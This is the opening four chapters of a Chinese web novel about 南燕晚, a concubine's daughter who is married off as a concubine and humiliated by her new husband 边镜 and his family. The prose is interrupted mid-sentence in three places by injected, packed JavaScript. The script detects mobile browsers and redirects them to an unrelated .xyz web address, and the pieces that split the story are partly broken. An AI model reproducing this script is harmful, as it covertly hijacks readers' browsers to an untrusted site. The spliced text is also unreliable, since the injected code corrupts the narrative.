《夫君悔不当初》 1. 第一章 亥时三刻,夜阑人静,白日里闹腾的上京城也如酣眠般沉寂了下来。 在夜色的掩护下,一群人正簇拥着一顶缀着珠宝金银、披着红绸布的精致小花轿小心地从尚书府后门中慢慢抬出。 花轿被四个壮汉抬着,稳稳当当地行走在径道小路上。两个老妈妈和壮汉们打了声招呼后,便快步走到花轿一侧,边用手帕揩额角汗边抱怨。 “我滴个亲娘嘞,这夜路也忒难走了。平日里那些个小贱蹄子们没见着孝敬我。遇着了苦差事,都往我身上套。呸!一群没良心的。” “就是,这大晚上的,尽整些费力又费事的活安排给咱儿,真真是欺负人。” 花轿的帘子虽厚实却不隔音,闲言碎语乘着风一起刮进了帘中南燕晚的耳朵。 南燕晚在花轿中坐得板正,她身穿粉红喜服,乌发梳成低髻,两朵含露绽放的粉红芙蓉并蒂簪在发髻弯上,露水垂瓣,将掉未掉,使清纯淡雅的容颜添了几分明艳水灵。 听着外头的话,南燕晚苦笑了下,手中绞着手帕,心中却有说不出的害怕紧张。 “对了,你说——这里面坐着的新姨娘究竟是个怎样的人?” “与咱们何干?净瞎操心。听说这位新姨娘是尚书府的庶小姐,在家中排行靠后,今年刚及笄,被配给咱二爷做姨娘的。” “什么?!咱二爷是个直肠子,也不大好女色,到现在都未收房里人,怎么纳妾得这般突然?” “还能因为什么?女人嘛,即使是高门大户出来的,只要不占嫡,那些个庶出的又有几个上得了台面?肯定是为了攀高枝……” “你们在说什么呢?!”一道女音厉声打断了嚼舌根的二人。 紧接着,是老妈妈们含糊不清的措辞:“唔,没说什么啊?” “我们姑娘不喜旁人靠太近了,烦请两位妈妈移步。”端柳强压着火气,恭敬地说。 两位妈妈打着哈哈,连忙一叠声应下。快步离开,等躲了端柳的视线,又忍不住不爽地嘀咕:“不过是个庶女,还什么小姐命?” 端柳恼怒地看着两位妈妈终于离开了花轿帘旁,也忍不住跺脚指骂:“两个老脓包。” 端柳走近花轿帘旁,收束了怒气,轻声唤道:“小姐,你还好吗?” 花轿里沉默了片刻,一道温柔的声音回复:“我没事。” 端柳心下松了口气,但忍不住劝慰道:“小姐不必把她们的话放在心上,左不过是两个糊涂的蠢才,哪懂这些?” 哪懂这些? 南燕晚的指甲一点点扎进帕子里,自嘲地笑笑,她们懂,谁都懂。 端柳见里面不回话,心里登时着急起来,懊恼地拍拍自己的嘴,忙又抓耳挠腮地想出其他话来岔开。 “小姐今天穿的喜服美,芙蓉美,人更美。姑爷见着了,肯定会喜欢小姐的。而且奴婢打听到,姑爷到现在还未收房里人,想必小姐过去了,恩宠定是占独一份。” “端柳!”南燕晚急唤了声,她压着心头臊意与羞耻,有些无力地吩咐,“往后这些,不许再提了。” 端柳面浮馁色,开口应下:“是,小姐。” 南燕晚无奈地叹了口气。 花轿周围终于安静了下来,紧凑的脚步声有节奏地哒哒作响,几声悦耳的鸟叫忽高忽低,月光攀着帘缝泄进轿中,静谧的黑夜好像也有了几分热闹。 这场景,像极了十几天前的夜晚。 明月弯成镰刀,撒下银白的光辉,酒宴上人来人往,推杯换盏,将明月晃成细小的碎片,映着灯笼火烛光,影影绰绰像梦境。 人们都一叠声地庆贺:“恭喜南大公子啊,年少有为,屡得战功。” 一旬前,南家大公子随军凯旋,立下战功,举府上下欢庆。四方好友皆来贺喜,个个备着好礼有意拉拢关系。 南家主母张氏心有谋算,挑了几个南家庶女,打算送出去做妾,以婚为约给自己的嫡长儿子获得更多的盟友,为他以后的道路添砖加瓦,铺路绣锦。 好巧不巧,南燕晚刚撵上及笄的年岁,同样被张氏惦记上了。 张氏设好了鸿门宴,各个庶姊妹们都有了主家。南燕晚也被一位姓孙的公子相中。 本说好先进门再行事,偏偏那位孙公子是好色之徒,行事放肆不忌礼数。竟要求当晚验货! 那天晚上,是南燕晚最屈辱的晚上。她觉得自己就像口畜牲,被主人家迫不及防地送出去,并且还要自己袒露牙口,被人当面评论品相几何。 张氏自然不会去管一个庶女的清白自尊如何,能为她儿子铺路,是这些庶女们的荣幸。 张氏接受了孙公子的要求,并在晚上一碗春药把南燕晚灌倒后送进了孙公子房中。 一切本来进行地顺顺利利,但房门被打开时,却是另一位不识的公子走了进来。那位公子瞧见南燕晚的处境,二话不说便去找来府医救助。 这不找还好,一找便是全府惊动。 南燕晚被裹在辈子里,难受地抓挠挣扎,她神志不清醒,只迷迷糊糊听见了许多人的声音,有父亲,有兄长,有亲近的丫鬟,还有府医。 却独独没有那位公子。 南燕晚尝试去找寻过那位公子到底是谁,却遭父亲劈头盖脸一顿骂以及禁足的惩罚。 等到一旬结束,她被放了出来,便被张氏告知她今晚要出嫁。但对象并不是原先的孙公子,而是边小将军边镜。 也是那晚,在孙公子屋里的男人。 那一瞬间,南燕晚是慌张的。紧接着,是恐惧。 巨大的无力感包裹住她,手指从指尖一直凉到了后背,整个人都忍不住打寒颤。 边镜,南燕晚并不相熟甚至都不曾认识的人。只听说自小在北疆边境长大,因军大捷才回了上京城。 其余一概不知。 样貌、品性、能力、习性甚至官位背景,南燕晚都一概不曾知晓。 就像买果子般,在篮筐里挑挑拣拣,终于在烂果子里翻出一个尚能下口的了,却被人打掉,又塞给你一个蒙着布的果子。 你并不知这颗果子是好是坏,但你却无法选择,被人摁着头,强行啃一口,咽下去。 南燕晚紧紧攥着手帕,又尖又长的指甲终是划破了帕子,直往手心上扎。殷红的血把白色的手帕一点点浸湿,染红。 看着斑斑点点的红色,南燕晚叹了口气,松了手。 左不过又是兵来将挡水来土掩罢了。 南燕晚自我宽慰。 花轿左摇右晃,似是进了房门里。 外面再次响起了声音,人语低声絮叨,说着简洁的命令交代。稍后,人语开始嘈杂起来,甚至还有极大声的几句吩咐和讨论。 最后,人语霎时间暂停。花轿落了地。 一道陌生的女音在帘外响起:“南姨娘,我是夫人派来的管事妈妈,奉命来接你下轿。” 话落,管事妈妈便伸手打帘,与里面的南燕晚对视。 “烦请南姨娘下轿。”管事妈妈再次说,同时将手递上,示意南燕晚搀扶下轿。 南燕晚眼里划过讶异,她本以为刚进门会来个下马威,没想到却是这般有礼节的待遇。南燕晚也不扭捏,低声谢了句,便扶着管事妈妈的手缓缓下轿。 纳妾的喜服并没有盖头,所以南燕晚一下轿便能看见周围的景色。 这是座宽敞又别致的院落,院心中放了不少练武器具,地上石砖留有痕迹,模样像个练武场般。一棵高大的桂花树栽种在院心西北角上,正值佳时,桂花开了满树,浓浓的花香溢了满院。 南燕晚嗅着花香,紧绷的身体竟不自觉放松了些,身心都变得轻盈起来。 “南姨娘,这里便是二爷的院落。今日你进门,大喜的日子,便先宿在二爷院中。明早奴婢带你去新院落。”管事妈妈说完,便引着南燕晚进了一间房。 房中铺了红色的床铺,两匹红绸绕住房梁,桌上立着对燃烧得正旺的红烛。其他物件,虽未描红作喜,却也精致可爱,似认真规划摆放了的。 管事妈妈扶着南燕晚坐在了榻沿上,然后福身告退:“南姨娘有事直接唤人便可,二爷有事,还未归家,夫人已派人去催了,其余无事,奴婢便先行告退了。” 南燕晚颔首,管事妈妈便出门退下,紧接着,换端柳进屋伺候。 南燕晚和端柳二人相视一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15961827|177670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便各自归位,并未多言。 两人静默,外面更是安静得出奇。 夜风温柔了许多,和缓地轻轻拂面,并用桂香轻嗅鼻尖。让南燕晚竟感受到了许多年不曾有过的安心宁静。 忽然觉着,嫁给这边小将军,或许也没那般差。 南燕晚的唇角不自觉微勾,牵出一个浅浅的梨涡,与杏眼微弯的弧度一样,衬得甜美可人。 突然,门外开始嘈杂起来,人语声愈来愈大、愈来愈多,像是众星捧月地迎接大人物归来。 南燕晚不自觉紧张起来,攥了攥衣角。 是边镜吗? 她未来的夫君,现在在门外? 他是个什么样的人? 南燕晚心里一连冒出数十个疑问,所有女子都一定幻想过自己的丈夫。丢掉对未来的恐惧,南燕晚心中亦是如此。 她甚至觉得脸上温热,应是有粉红爬上脸庞,心脏因激动而砰砰直跳。但却不知为何,南燕晚总觉着她心里不踏实,跳动的心也不全是激动。 还有害怕与不详。 为什么会害怕呢?明明一切看起来都在如常发展。 南燕晚猛地抬头,她的心越跳越快,像是踩着某种不好的节点。南燕晚想让端柳出去看看是怎么回事,但又觉得这样会失了分寸,便强行把这想法给摁了回去。 外面的嘈杂声又突然停止了。 紧接着,一道男音中气十足地朝屋里吼道:“南小姐是否在里面坐着?” 甫一被质问,南燕晚有些懵。但她也很快给出回应:“是的,是我。” “好。南小姐,我家公子有话带给你。” “什么话?” “我家公子说,您的爬床手段实在了得,他心中佩服,但也不敢再羊入虎口又被您算计。为实现理想,衷心报国,他已向圣上申请上山剿匪事宜。圣上仁心,批准公子请求。时间嘛——”男人故意拖长尾调,挑衅又不屑,“就在今夜。” “公子万望您在家安生过好日子,不要新整什么幺蛾子出来。待他凯旋,定为您谋一个更好的高枝,让您前程锦绣,一路繁花。”男人一连串说完,便立在一旁不出声了。 他不出声,但屋里屋外却炸开了锅。 丫鬟们迫不及待聚在一起讨论。 “本以为是高门小姐来委屈做姨娘,结果却是个不知廉耻的下烂人。” “这贱货怎么配进二爷的屋子,呸呸呸!脏死了!” “真他娘的晦气,也就咱二爷好,还给她另觅高枝。我呸!□□。” 晚风再一次粗暴起来,它带着闲言碎语的咒骂刮进了屋,吹进了南燕晚的耳中。 南燕晚紧紧地攥着手,任殷红的血往地上淌。先前对边镜的幻想憧憬荡然无存,她的眼睛被风吹得漾开红,与自尊一起碎成泪划过脸庞。 新婚夜,不仅当着全院人的面被丈夫如此羞辱,还被告知丈夫嫌她甚至愿意上山剿匪,等归来,亦嫌她的存在要赶她走。 为什么要这般对她?明明她什么都没做,每一步都是被迫的,为什么还要被针对? 她,就该是如此下贱的人吗? 不!不是,她对权利无欲无求。她明明清清白白,为何要一路受此屈辱? 她与边镜无甚交集,凭何遭此羞辱? 南燕晚背手一抹泪,迅速整理好自己的情绪,然后中气十足地回复外面的人:“既然边小将军今夜不归,那燕晚便先安置了。” “我素来乖巧守礼,自是不会惹祸生事。至于往后去处,边小将军倒不必操如此宽的心。您不容人,自有容人的地方。” 南燕晚说完,转头吩咐端柳:“去把蜡烛灭了。” “是。” * 房间外面,一个长相俊朗无暇,身穿银色盔甲的翩翩少年郎坐在放置兵器的木桩上,听完南燕晚的话,看见房中灯火已灭。 边镜讶异了一瞬,但很快浮现出厌恶的表情,无语嗤笑一声:“表面功夫。” 骂完,边镜起身,顺手提了柄武器匣里的红缨枪,用力甩枪掂里下手感,随后露出满意的笑。 “这次的军功就归你了,红缨枪。” 2. 第二章 翌日清晨,南燕晚早早地醒了,睁眼看见陌生的房间布局,才觉昨晚发生的一切俱是真实的。 很割裂。 南燕晚揉揉脑袋,只觉一阵发疼。习惯性朝外唤道:“端柳。” 端柳早已在外间候着了,听见声音,忙打帘进来,身后跟着昨晚的管事妈妈并一个端着首饰的小丫头。 管事妈妈面上没什么表情,但眼睛却上下左右地把南燕晚打量了个遍,最后厌恶地瞥开,与昨晚接待南燕晚的模样大相径庭。 南燕晚看见后明显愣了愣神,但马上接受了对方的态度。 照她们目前的想法,应当觉得她是个勾引男人的下烂货,不配嫁与她们府中正人君子般的二爷。南燕晚不免觉得可笑,能与这种事牵扯在一起的又能是什么清白正经公子? 或许是个道貌岸然的伪君子也未可。 南燕晚眼里浮出愤恨和轻蔑。 “南姨娘。”管事妈妈对着南燕晚行了行礼,或是大家族出来的教养,礼数并未见敷衍。 南燕晚起身,也还了一礼。 妾,半个奴才身。虽然因着身份,她是贵妾,但也不可以自视过高处处端着。 “请南姨娘速速更衣梳洗,老夫人今早命你去请安。”管事妈妈见着南燕晚还礼,面色稍霁,说话也不再那么生硬了。 “好。我从家中带来些时令果子,妈妈若不嫌弃,不如尝尝鲜。”南燕晚微笑着命端柳打开昨晚从尚书府里带出的包袱,从里面捧出一把甜杏来。 “南姨娘言重了,奴婢不爱吃鲜果,这些还是姨娘留着自己吃吧。”管事妈妈忙笑着回,说完,还帮着端柳重新把甜杏放回包袱中。 府中果子那么多,她怎可能贪这个嘴?何况是一看就不能吃的果子。 两人又让了一回,管事妈妈才让小丫头上前来给南燕晚梳妆。 准备给妾室的衣裳虽未用珍贵布匹,但其绣工精巧,衣裳也甚是可爱。南燕晚换好后,只拣了支素雅的海棠缀珠银簪挽成发髻,便不再去多碰那些个首饰了。 初来乍到,对方又对她印象不佳,还是谨慎素净些的好。 见南燕晚迅速梳洗完,且打扮不招摇做作,管事妈妈的脸色又好了些,去给老夫人请安的路上,不免好心地提点一两句。 “咱们老夫人是个大善人,脾气温和宽容,对底下人也是一等一的好。姨娘若是安分守己不惹事,嘴再甜些,说不定就能讨得老夫人欢心了。” “老夫人喜欢小孩,尤其是咱二爷。自小便养在老夫人身边,疼得和眼珠子似的。此番你做了那些蠢事,老夫人八成是对你没什么好脸色看。但她心善,应当也不会过于为难你。” “夫人呢,是个心直口快的人,说话会刺耳些,但你也得受着,毕竟这是你自己讨来的。至于其他个小姐少夫人们,大多是眼里容不得沙子的性格,你自个儿掂量着行事吧,反正没什么好果子吃。” 管事妈妈说着,南燕晚心下飞速记着,等到她说得差不多了,南燕晚立马行礼一叠声告谢。 管事妈妈也只淡淡“嗯”了声,手下却强硬地推开南燕晚想要偷偷塞进来的碎银子。 “边家不比别家,武将出身,糙一些,规矩和讨好人的手段要清简很多。这些身外之物我也不缺,姨娘以后别再塞了。”管事妈妈横了南燕晚一眼。 南燕晚脸色涨红,又立马道谢。 “对了,妈妈,边小将军是个怎样的人?我自小长在京城,对边小将军还不甚熟悉。” 谁知南燕晚话音一落,便迎上管事妈妈一记眼刀,管事妈妈冷哼一声,阴阳怪气地回答:“南姨娘也是个心大的主儿,郎君还未打探清楚就能想到爬床。这等胆魄,奴婢着实佩服。” 南燕晚一噎,这次整个人都如烤熟的乳猪一般色彩。 剩下的路程,两人都未发一言。 管事妈妈领着南燕晚又走了段路,终于到了老夫人的住所。 金雕玉饰,珠帘香绕,牡丹连片,低廊绕阁。雍容华贵中又不失豪门大气,实属人家少有。 南燕晚心里不免感叹称奇,对边老夫人的身世提起兴趣。但面上却无甚表情,只毕恭毕敬地跟着管事妈妈。 一路左拐右拐,不少丫鬟们与管事妈妈打招呼,同时把眼一溜南燕晚,将她上上下下打量个遍。 终于走到了一处众多丫鬟候着的门前,管事妈妈先与其中一个丫鬟耳语几句,然后那丫鬟打帘进去,让二人等候片刻。 未几,那丫鬟复打帘出来,脆生生地吩咐:“老夫人让南姨娘进去,你去做自己的活儿吧,隔壁耳房的丫头们在分月钱,你也去抓一把再走。” 听完,管事妈妈便行礼谢恩,然后自觉去了耳房。 进去的丫鬟伸手打帘:“南姨娘里边请。” 南燕晚颔首称谢。 屋子里聚了极多的人,还未至,便听见里面的欢声笑语。但当南燕晚出现时,屋子里却都默契地安静下来。 边夫人李氏对着旁边的丫鬟耳语几句,丫鬟得命后便来到南燕晚递板凳落座。 “呦,我当谁来了?原来是爬床的贱.货啊。”边云筝一见着南燕晚便冷嗤出声。 “筝儿,不许说这种粗话!”李氏呵斥。 “是,母亲。”边云筝应完,仍然不服气地瞪南燕晚。 南燕晚习惯性地视而未见。 “小妹不懂事,南姨娘勿怪。”一道温软的声音适时出声给台阶。 南燕晚看去,只见是个长相温婉可亲的少妇。 少妇刚说完,旁边一个大马金刀坐着的姑娘便冷哼出声:“嫂嫂你还是太好了。”边云桥转向南燕晚。 “听闻尚书府世代书香之家,想必南姨娘也是从小耳濡目染,不知南姨娘写字如何?回去可否有时间帮我写条横幅。” 南燕晚虽不知何意,却也只好应下:“字虽不曾苦练,倒也写的出几个模样。不知姑娘要写哪几个字?” 边云桥唇角翘起:“自然是——礼、义、廉、耻这四个字咯。” 此话一出,满座皆静。 南燕晚脸色直接煞白。 边云筝听后愣了瞬,紧接着又乐得咯咯笑:“姐姐,你这高看南姨娘了吗?她兴许能写字,却未必知晓那字的含义,这写出来的字怕不就是有了形体,而无神韵。” 说完,边云筝侧头吩咐自己的丫鬟,声音不大,却让满屋的人都能刚好听见:“去趟库房,把我三岁时学的那些书都翻出来。好好找找与礼、义、廉、耻这四个字有关的书,让南姨娘认认真真学学这几个字的含义。” 话落,屋子里便响起一阵哄笑声。 南燕晚面色难看,手中紧紧攥着手帕。听完话,压着火,勉强挤出丝笑容:“多谢边小姐美意。” 能屈能伸,大宅院生存的基本罢了。 南燕晚很快便调整好状态,她微微笑着询问边云筝:“边小姐应当也是读过些书的人了。” “嗯,读过不少。”边云筝微扬头,傲慢自信。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15961828|177670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >南燕晚笑意深了几分:“前几日读到个故事,妾不解其意,不知边小姐能否为妾讲解一二?” “连故事都看不懂,你也是个蠢的。说吧,我就勉为其难为你点拨一二。” “前几日妾拜读了《韩非子·功名》一卷,里面有个叫孤掌难鸣①的词,妾苦思几日,终不得解。还望边小姐解惑。” “孤掌难鸣,这很简单呀。不就是一个巴掌拍不响?意思是一件事情,若只有一方愿意,另一方不愿意,那这事必然成不了。所以,事成需得双方……” 边云筝说到一半突然恍悟,她脸上飞红,眼睛瞪大,横了南燕晚一记眼刀:“你什么意思?” 南燕晚仍然端着笑:“问词的意思啊,边小姐何故如此问啊?” 边云筝气得跺脚:“你你你!你下套我!” “什么下套?妾身听不太懂,还请边小姐详说一二。” “你!嘴皮子倒是厉害,怪不得能……” “够了!筝儿。”一道苍老的声音在屏风后打断边云筝的话。 “祖母。”边云筝委屈地回。 “筝儿年岁小,孩童心性,说话口无遮拦。”边老夫人替边云筝挽了些尊。 边老夫人继续说:“你个小丫头,心思倒是沉重。罢了,别在这碍眼了,先出去吧,留我这一屋子孙们好好说话。没得又起纷争。” 虽未道明是谁,但南燕晚很自觉带入了自己。这个结果,她求之不得。于是忽略掉对方话里话外责备与回护的意思,南燕晚起身行礼告退。 出了门,只有端柳候在外面等她。 “走吧。”南燕晚招招端柳,主仆二人便离开了。 边府很大,初来乍到,南燕晚和端柳都无法记住回屋的路,但南燕晚也不在乎,两人漫无目的地在宅子里游荡。 宅里的小丫鬟们瞧见,都把眼一溜她。瞧着是生面孔还可能是主子,心下不用猜便知晓南燕晚的身份了。于是三两个聚一起便开始唠嗑聊天,也不管这位新姨娘是否听见,毕竟左右也无法把她们怎么样。 端柳听着闲言碎语,心头冒起火,却不敢与别人争辩,转头观察着自家小姐无甚怒意,只好强压着火气继续走。 跟了两步,南燕晚停下了脚步。 “小姐,怎么了?”端柳询问。 “饿了。”南燕晚有些无奈。 今晨一起来便开始梳妆,根本没吃上什么东西。现在时辰已逼近中午,确实应该饿了。 南燕晚说完,端柳也揉揉肚子。刚刚生着气,竟没半分饿意,现在被人提起,才觉胃中空虚。 主仆相望,都无奈摇摇头。 突然,一道声音在旁边响起:“南姨娘,你原在这儿,真叫我一顿好找。” 转身,只见是一个妇人背这个包袱,提着篮鲜果走来。 “你是……” “我是账房先生家的媳妇儿,在老夫人身边当差。”周家媳妇介绍起自己。然后把背上包袱取下,递给端柳,“这些是姨娘的东西,我刚从二爷院中取来,应当是一件不落,落了你再回去找。” “给姨娘准备的院子已经收拾妥当了,老夫人命我带你去,随便把这篮子时令鲜果给姨娘送来。恰逢佳时,院里果子长了一树又一树,根本吃不完。你也尝些。” 周家媳妇是个急急火火的性子,说了一连串话下来,愣是没让两人插上一句话。 说完,又急急忙忙拉着南燕晚去新院子落脚。 把主仆二人都扯得一懵。 3. 第三章 新院落修筑在府中偏远的西北角,院子不大,只三间房并一个小庭院。庭院中栽种了两棵大桃树,占去了庭院一半的空间。 “这地方叫桃苑。平常没什么人到这里来,不容易被打扰。周围也挺僻静的,没个什么鸡叫鸟鸣的,刚好姨娘应当也爱读书,或许会喜欢上这里。” “这桃树虽说占地多,但是等它结了果子,那味道还是甜。今年暑夏已经结过一轮了,被摘取吃了。等明年就是姨娘来摘了。” “这地方不大,等会儿总管那边应该会配一个负责洒扫的老妈妈过来。” “这里虽然屋子不多,但三个人也够住下了。看着虽小,但实际上构造却精致。瞧瞧,这个桃花雕窗多好看呐。” 周家媳妇进了屋,一边摸索院中结构一边宽慰。 南燕晚本不介意这个院落,反而觉得很可爱。但因着周家媳妇的话,她心中也升腾起几分暖意。 等逛完整个院落,周家媳妇撸了撸衣袖,热情地说:“左右我现在无事,不如和姨娘一起收拾收拾吧。” “啊?这可使不得。”南燕晚眼里划过讶异。 “这有什么使不得的?妾也是主子嘛。”说着,周家媳妇便先动手收拾起来。 南燕晚要拦着,周家媳妇便让她一起收拾。 半推半就之间,三人便一起开始打扫。 “姨娘对今后可有何打算不?”周家媳妇手上不停,嘴上也没闲着。 南燕晚听后微愣,然后苦笑地摇摇头:“自然是改变府中夫人们的看法。” 边镜,瞧着新婚夜那出戏,她是不指望对方以后能护她疼她,只求能宽容待她视她不见便好。 她打心眼里希望边镜这辈子都别找她。 周家媳妇听后点点头:“一辈子讨好夫人们,一辈子都过得如履薄冰?” 这句话,惊得南燕晚和端柳都住了手。 不,可能是吓得她们。 南燕晚猛地转身,看着周家媳妇,满脸警惕:“什么意思?” “姨娘别误会,我没有恶意。”周家媳妇忙摆手说,“这样吧,我先给姨娘露个底。早年我们家里穷,偏偏又生的丫头子们。有年闹饥荒,大丫头便把自己给卖了,拿钱换了粮食救了咱全家人。后来大丫头进了当地有钱人家里做丫鬟。” 说到这些,周家媳妇喉头有些哽咽:“大丫头生得还算水灵,便被那家里的少爷给强占去做妾。后面磋磨着,也就走到尽头了。你和我家大丫头有点像,我虽不知你和二爷之间发生了什么,但我觉得你看着面善,也不像是情愿嫁进来的人。” 周家媳妇声音越来越小,到最后已成呢喃:“或许是年纪大了,不知怎的,越来越想大丫头了,看你的时候,竟也觉得是在看大丫头。” 周家媳妇已剩泣涕:“这高门大户,哪有那么好活着?” 南燕晚和端柳一时也不知说什么,想要拍肩膀安慰的手停在半空中,最终还是落下,拍拍可怜的母亲,却半天说不出安慰的话。 周家媳妇哭了一阵,就停下了。 她就着衣袖擦干了眼泪鼻涕,抬眼看着南燕晚,眼神越来越坚定:“我救不了大丫头,或许能帮帮你。” “帮我?” “嗯。”周家媳妇说着,从衣裳里掏出一张折叠的纸页,她小心翼翼地摊开,露出里面的墨黑大字与鲜红印章。 看清里面的字时,南燕晚已经讶异地捂住嘴。 那竟是一张户籍文书! “这张户籍文书是我家大丫头的。当年家里有了点钱,本来是想把她赎出来的。官府都已经过了良籍,谁知那晚……罢了罢了,大丫头死时带走的文书是为奴的那张,她把这张偷偷塞给了我,让我做个念想。也或许,能帮到其他人。” “多谢大娘好意,可是这文书我拿着也没用。” “有用。”周家媳妇反驳,她注视着南燕晚问:“姨娘可知道,官府已允女户做生意?” 女户做生意。 南燕晚眼睛蓦然瞪大,瞬间明白过来周家媳妇的意思:“你是说,让我去做生意?” “对。”周家媳妇点头,“姨娘的文书定然标着官家。拿去做生意未免太招摇,难免会让边府和南府的人知道,恐怕会引起是非来。这张文书不在京城,且是良籍。就算有人想要查,只要不是位高权重者,一般是查不明白的。” “姨娘以前是官家小姐,想必手头也有些积蓄,拿来当做生意的本钱再合适不过。姨娘也不必一来就做什么大生意,或摆摊或租个小铺面,先做做小本买卖,虽赚钱不多,但亏本也不多,这样也最稳妥。” “姨娘这里没什么人来,便可经常出入府院了。这个地方往西方再走段距离,便有个西门。那里连接的外面地处偏僻,府中无甚人从那里过。姨娘拿点小钱,打点打点那门房,便可出入无碍了。” 周家媳妇说完,便将手中文书递给南燕晚。 “你,缘何帮我?”南燕晚仍存警惕。她不信,一个仅一面之缘的陌生人能对一个听闻品行不端的人慷慨到这个地步。 周家媳妇倒是没有意外南燕晚的问题,她只直直看着南燕晚笑道:“南姨娘,因为你这眼睛,像极了我家大丫头。” “大丫头是我的第一个孩子,也是最孝顺的,同样也是唯一一个和我阴阳两隔的孩子。我若真想害你,怎可能用一个做母亲的感情来骗你呢?” 南燕晚看着她,目光渐渐垂下。半晌,南燕晚接过了文书。 “多谢。” * 上京城素来有“天下第一繁华地”的美称。无论哪条街道,都是人山人海,贩夫走卒吆喝声一片。中间官道贵人徐行,香车宝马,好不风光。商铺们各尽招摇,摊贩们艺技百出。 南燕晚拉着端柳,两人紧紧交握双手,才不至于被人群冲散。 两人换了身衣裳,是从周家媳妇那里得来的粗布麻衣。为了不在路上遇着熟人,两人还拣了条薄布做面纱。 一个时辰前,南燕晚决定相信周家媳妇后,便迫不及待地想出府看看。照着周家媳妇的指引,她们很快便从门房那里出了府。 那位置着实偏僻,两人走了半个多时辰才终于到了集市范围。 南燕晚自出生起便没有来过着繁华集市,而端柳也只有小时的一点儿记忆。所以当进入集市后,两人俱是好奇与喜悦。 “小姐,你瞧这个,拨浪鼓、空竹。我小时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15961829|177670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩过这些。” “端柳,你瞧这个糕点,我怎么觉着比府中的还要好吃些呢?” “小姐,这个包子好香啊!” 两人左瞧瞧右看看,像两只麻雀一样说个不停。 在看见包子时,两人都不由自主地停下脚步驻足。两人摸摸空虚的肚皮,对视一眼,又都笑了起来。 “老板,包子多少钱一个?”南燕晚从荷包里摸出铜板问。 “三文钱两个。”包子铺老板一边麻溜地给其他客人包装一边扯着嗓门回答。 “来四个吧。”南燕晚把六文钱递给包子铺老板娘说道。 “好嘞!”包子铺老板笑呵呵地把包子装进油纸里,然后递过去,“您常来啊。” 南燕晚回以微笑。 吃到包子的两人眼睛都笑得弯弯的。 “我记得小时候阿娘就喜欢做菜包子,把那些好吃的野菜煮熟加在里面,做出来的包子又好吃又大个。”端柳咬了口包子,眼含憧憬地回忆。 “菜包子……”南燕晚喃喃,灵光一闪,用手肘碰了一下端柳,“端柳,你会做菜包子吗?” “啊?”端柳一愣,“会呀,我阿娘做菜包的时候,我守都在旁边的。” 南燕晚眼睛微弯,笑盈盈道:“端柳,我们不如先做个包子铺吧。我实在想不出能卖什么东西了,我们先捡一个咱们会的卖吧。” “啊?”端柳更懵了,“包子,这么普通,会有人来买吗?” “当然有了。”南燕晚一把抓住端柳的手,“民以食为天,人天天都要吃饭,天底下最不愁卖出去的就是吃食了。” “真,真的吗?”端柳惊喜道,“小姐,我也想要试试!虽然可能不太熟练,但我会努力学习的。” “好。”南燕晚点了点端柳的鼻子。 * 一辆旧马车缓缓行驶在集市街道上,因外面繁多的人群,它常常被拦停下来。 “你昨晚费劲心思拦下我,就为了让我在这被堵死?”边镜气愤地放下车帘,对着里面端坐的男子撒气。 男人掩扇轻笑:“自然不是,殿下想……” 突然,一道嘶鸣声打断了男人未出口的话,边镜里面探出脑袋查看情况,却是马夫差点撞到两位蒙面女子。 两个女子抱在一起,瞪圆的眼睛里含着惊吓。其中一个人的眼睛还有点熟悉,边镜眯着眼打量了一眼,一时想不起在哪里见过。 南燕晚身上惊出了一身冷汗,边镜不是昨晚策马离京了吗?怎么还出现在这里?! “姑娘,可有受伤?”边镜问道。 南燕晚像是被提醒了一下,赶忙去看旁边的端柳,见端柳也无碍后朝边镜摇了摇头。 “让姑娘受惊实属抱歉,不过好像是姑娘走错道惊了我们的马,耽搁了我们的时间,于情于理,这声道歉都应该是在下说出口吧。” 南燕晚和端柳两颊飞红,确实是她俩打闹间无意走错道路拦下了这辆马车。 “公子,对不起。”南燕晚和端柳一起道歉。 “无碍,你们现在快走吧,后面的马车又开始催了。”边镜笑笑,然后重新钻进了马车。 两人飞快离开让出路来。 4. 第四章 初次出府,两人也没敢多耽搁,只一个时辰便匆匆回府了。 刚进桃苑,两人便听见砸东西的声音。两人愣了下,便匆忙往屋里赶。 “砸!都给本小姐砸,一件东西都不许留!”南燕晚刚至门口,便听见边云筝在屋里大声嚷嚷。 紧接着,又是一堆器物被砸的声音。 “都住手!你们在干什么?”南燕晚面带愠怒,急忙入内喝止。 只见边云筝站在屋中间,双手叉腰,气鼓鼓地指挥着一众仆从。见南燕晚突然闯进来,所有人的动作都停住了,边云筝则转头瞪过来。 南燕晚深呼吸一口气,走到了边云筝面前:“边小姐,燕晚自进府后可没得罪过你,你今日何故带人来打砸我院内的东西?” 